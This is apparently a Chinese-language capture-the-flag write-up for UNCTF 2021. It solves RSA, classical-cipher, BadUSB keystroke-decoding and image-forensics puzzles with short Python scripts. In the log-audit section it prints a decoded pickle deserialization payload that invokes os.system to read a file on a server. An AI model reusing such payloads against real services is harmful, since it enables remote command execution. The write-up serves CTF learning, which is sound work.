p= 12525187149887628510447403881107442078833803097302579419605689530714690308437476207855511625840027119860834633695330551080761572835309850579517639206740101
c= 28587419802025513525354713621431206010395084854419372005671024739235625817936539010481222419824634956610184430308528941304950093228826213143262329902946812513518444587906469224383320964300417189270202019231856531012143472434842753891213128487132962453421971000901646523331476667655739056951415917218673801225
e = 65537

RSA基操。

1
2
3
4
5
6
7
8
9
10
11
q = 9961202707366965556741565662110710902919441271996809241009358666778850435448710324711706845973820669201482939820488174382325795134659313309606698334978471
p = 12525187149887628510447403881107442078833803097302579419605689530714690308437476207855511625840027119860834633695330551080761572835309850579517639206740101
c = 28587419802025513525354713621431206010395084854419372005671024739235625817936539010481222419824634956610184430308528941304950093228826213143262329902946812513518444587906469224383320964300417189270202019231856531012143472434842753891213128487132962453421971000901646523331476667655739056951415917218673801225
e = 65537
import gmpy2
fn = (p-1)*(q-1)
d = gmpy2.invert(e,fn)
m = pow(c,d,p*q)
print(bytes.fromhex(hex(m)[2:]))

# b'UNCTF{Th1s_1s_f1ag_f0r_unctf_2021!!}'

探秘中世纪城堡

贝拉在参观一个中世纪的古堡时,在桌上看到了一串一奇怪的字符和描述。你能帮大聪明破解皇珈骑士留下来的谜团吗?

年轻的大帝率领着64位皇珈骑士冲破了双重阻栏夺下了城池。
AZSLh2OofBA0C2qzi25mg2KsYqW7iCSdDq9aBLKsDBWyi259

ROT21+base64+栅栏2。

flag:UNCTF{subscribe_to_Xiangwandamowang}

分析badusb流量

一日,某企业的安全管理员发现企业中的电脑遭到了badusb的侵害,以下他分离出来的有问题USB流量,而这似乎跟键盘的键位映射有关。

2018 2011 2006 2017 2009 202f 201C 0027 0018 002D 2004 0015 0008 002D 0019 0008 0015 001C 002D 0011 001E 0006 0008 2030

键盘键位映射规则,映射关系参考《USB键盘协议中键码》中的HID Usage ID

前两位20代表大写,10代表小写,后两位为键码,对照写flag。

flag:UNCTF{Y0u-Are-very-n1ce}

baby_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import gmpy2
import libnum
import random
import uuid
flag="unctf{"+str(uuid.uuid4())+"}"
m=libnum.s2n(flag)

p=libnum.generate_prime(1024)
q=libnum.generate_prime(1024)
n=p*q
e=65537
c=pow(m*p+n,e,n)
print("n=",n)
print("c=",c)
print("e=",e)
#n= 27023180567533176673625876001733765250439008888496677405372613659387969480500400831799338479404533734632060401129194207025095826786316107611502577395964365591899893794206238112244571942694129959717225168573059987542436467778426312967832431595178558711258027999897974942046398583397445299861338203860420721585460676138091828032223153425728023656897880166788811969523526091221520293020106530587453637600349533427641518473788620430866128331962450325767202417824455886116760280239705754222948387172102353564657340216229891342124971948458724351338597649821310431397426705701275774039588035776573373417654649168810548916141
#c= 3489599657527403893851973553294684608504140532554562294027722218597464669848608337663997115805201027340092733823019661706872544231209523772845492398492677185660213963118144668038183924970370481476141221609706208064428560732214361469135212057355342825193598971775551833240699393482839422273480793244841531126642199202744610656153155545415859410361595564197685655133074582118230993519133935533313364233668337427608419528430102794052261190930670933657287272452581248934890029409559234507626012423255430699687038808658327174609660874748540185589263800447650242593224189976058739054174360024536594384447518687126891675059
#e= 65537

$c = (mp+n)^e \% n = p^e(m+q)^e \% n $,

有 $c\%p = p^e(m+q)^e \% p = \Big((p^e \% p)\big((m+q)^e \% p\big)\Big) \% p=0$,

故 $c=kp$,又 $n=pq$,则 $p=\gcd(c,n)$。

求出 $d \equiv e^{-1} \pmod {\varphi(n)}$,可以得到 $m’ = mp+n = c^d \% n$,所以 $m = \cfrac{m’-n}{p}$。

1
2
3
4
5
6
7
8
9
10
11
12
n = 27023180567533176673625876001733765250439008888496677405372613659387969480500400831799338479404533734632060401129194207025095826786316107611502577395964365591899893794206238112244571942694129959717225168573059987542436467778426312967832431595178558711258027999897974942046398583397445299861338203860420721585460676138091828032223153425728023656897880166788811969523526091221520293020106530587453637600349533427641518473788620430866128331962450325767202417824455886116760280239705754222948387172102353564657340216229891342124971948458724351338597649821310431397426705701275774039588035776573373417654649168810548916141
c = 3489599657527403893851973553294684608504140532554562294027722218597464669848608337663997115805201027340092733823019661706872544231209523772845492398492677185660213963118144668038183924970370481476141221609706208064428560732214361469135212057355342825193598971775551833240699393482839422273480793244841531126642199202744610656153155545415859410361595564197685655133074582118230993519133935533313364233668337427608419528430102794052261190930670933657287272452581248934890029409559234507626012423255430699687038808658327174609660874748540185589263800447650242593224189976058739054174360024536594384447518687126891675059
e = 65537
p = gcd(n,c)
q = n//p
import gmpy2
fn = (p-1)*(q-1)
d = gmpy2.invert(e,fn)
m = int(pow(c,d,n)-n)//p
print(bytes.fromhex(hex(m)[2:]))

# b'unctf{rsa_s1mp1e_0kk}'

flag:unctf{rsa_s1mp1e_0kk}

电信诈骗pro

朕是秦始皇,其实朕没有死,朕在西安兵马俑第四个坑第七排,朕是吃了长生不老药的,朕告诉你啊,朕在陕西有3000吨黄金和300万秦兵被封印,现在只需要30元就能解封,只要你打钱给朕,朕明天直接带部队复活,让你统领三军!建立像古罗马一样的帝国,君无戏言! 朕的账户是5.#4&;Sw)2Ti%*Sj1eUU9kTwi*Sj)1S"a8S0)6x-8(x7=

flag格式为unctf{}

尝试异或爆破,发现异或0x40有 unctf{.7ir.)ej.*q%..y+.7)j.*iq.b!x.piv8mxh8w},说明中间加密方式不同。

提取中间部分尝试出是ROT47+凯撒17:

1
2
3
4
5
6
7
8
9
s='$HXa%:TY$;`6&&h<%H:Y$;X`$Q2g$_XeI\gWIf'

for i in range(-200,200):
t=''
for j in range(len(s)):
if ord(s[j])+i >=32 and ord(s[j])+i<127:
t+=chr(ord(s[j])+i)
if len(t)==len(s):
print(i,t)

其中 5Yir6Kej5LqG77yM6YKj5Liq5bCx5pivZmxhZw base64解码是 别解了,那个就是flag

flag:unctf{5Yir6Kej5LqG77yM6YKj5Liq5bCx5pivZmxhZw}

# Misc

简单日志审计

相传,在某一归隐门派的服务器里存在着众多盖世绝学,谁掌握了任一一本绝学谁就能一统CTF江湖,突然有一天门派的长老发现服务器的日志里存在着些许异常,或许这门绝学已经失窃了,请帮帮长老找出失窃的是哪一本绝学吧。flag格式为UNCTF{*}

日志文件里找到base64编码字符串 STAKcDAKMFMnY2F0IC9DVEY/WW91U2hvdUppdVhpbmcnCnAxCjAoZzAKbHAyCjAoSTAKdHAzCjAoZzMKSTAKZHA0CjBjb3MKc3lzdGVtCnA1CjBnNQooZzEKdFIu

解码得pickle:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
I0
p0
0S'cat /CTF?YouShouJiuXing'
p1
0(g0
lp2
0(I0
tp3
0(g3
I0
dp4
0cos
system
p5
0g5
(g1
tR.

flag:UNCTF{CTF?YouShouJiuXing}

电信诈骗

CTFer,你好,我是威震天!其实我在芝加哥大战中没死,现在你只需要打2000RMB到我的银行账户,我就可以用这2000RMB发红包骗取人们的信任,然后穿过股市网络找到震荡波在纽约给我找的新身体,然后我就可以复活了。今天如果你帮了我,复活后我可以入侵股市网络把钱全部给你们。等过了周末,我就让红蜘蛛变成飞机去接你,然后我把红蜘蛛杀了,让你当霸天虎副指挥官,然后我们从南极洲呈扩散式发出霸天虎军队,万军齐发,占领地球,怎么样?为了防止这条消息被擎天柱拦截。我将银行卡号进行了加密,希望你能成功解密。我的银行账户是 qi]m^roVibdVbXUU`h

flag格式:unctf{}

变异凯撒加密,脚本爆破:

1
2
3
4
5
6
7
8
9
s='qi]m^roVibdVbXUU`h'

for i in range(-200,200):
t=''
for j in range(len(s)):
if ord(s[j])+i+j >=32 and ord(s[j])+i+j<127:
t+=chr(ord(s[j])+i+j)
if len(t)==len(s):
print(t)

flag:unctf{yauoreright}

引大流咯,happy

虚掩的大门后是一副残缺的画卷。

修改jpg高度发现flag。

flag:UNCTF{BellalaBella}

倒立洗头

观察文件字符串头尾分别是 d9ffffd8,脚本逆序处理:

1
2
f = open('key.txt','r').read()
open('key.jpg','wb').write(bytes.fromhex(f)[::-1])

把文件头 D8FF 修正为 FFD8,图片没什么异常,在中间发现字符串:

5L2b5pel77ya5LiK5L+x5pWF44CC6YGg5aSn5a+G6Zq45oCv6Zmk5aSa55qk5a2V6ICo54iN5qK15Zyw6Kuz6Jap5L6E56m257y96ICB6Kuz5LiN5oOz55qk6ICF5ruF572w6Ly457y96Zi/5L6E5ruF5qK15aSi5L6E5LiN5Yal5ZCJ55yf5qK15rKZ57y95bqm5Y2z57y96Zq45oCv5piO5L6E5YiH5L6E55+l5ZGQ5Zyw5Y2X5ZG86IiN5ZKS5aWi5L2b5raF5ZOG5aeq56We5a+G5piO5ZOG6YCd5a6k5Zyw5oGQ5Yal5ZG85oCv5L2b5Zad5ZOG5Ly96YO95oCv6YGu6Kuz5YCS57y95bid5Yal5bid6Ly45puw6Kuz6bq85L+x5oCW5L+x6Ium5L+x5rOiCg==

解码:

佛日:上俱故。遠大密隸怯除多皤孕耨爍梵地諳薩侄究缽老諳不想皤者滅罰輸缽阿侄滅梵夢侄不冥吉真梵沙缽度即缽隸怯明侄切侄知呐地南呼舍咒奢佛涅哆姪神密明哆逝室地恐冥呼怯佛喝哆伽都怯遮諳倒缽帝冥帝輸曰諳麼俱怖俱苦俱波

改为 ,佛曰解密得flag。

flag:unctf{it_is_easy_right?}

LPL

png图片用010 editor查看,第9-15个块CRC值错误,提取Hex值 4544476e622121,解Hex得 EDGnb!!

以此为密码解压缩包,flag.txt 提示 https://www.bilibili.com/bangumi/play/ep431768?from=search&seid=2681339926644936228&spm_id_from=333.337.0.0,以及一个 2021/11/24 14:11 的时间,访问B站视频在评论区找到 2021/11/24 14:11 的评论见flag。

flag:flag{LpL_zgbr_rNg_eDg777}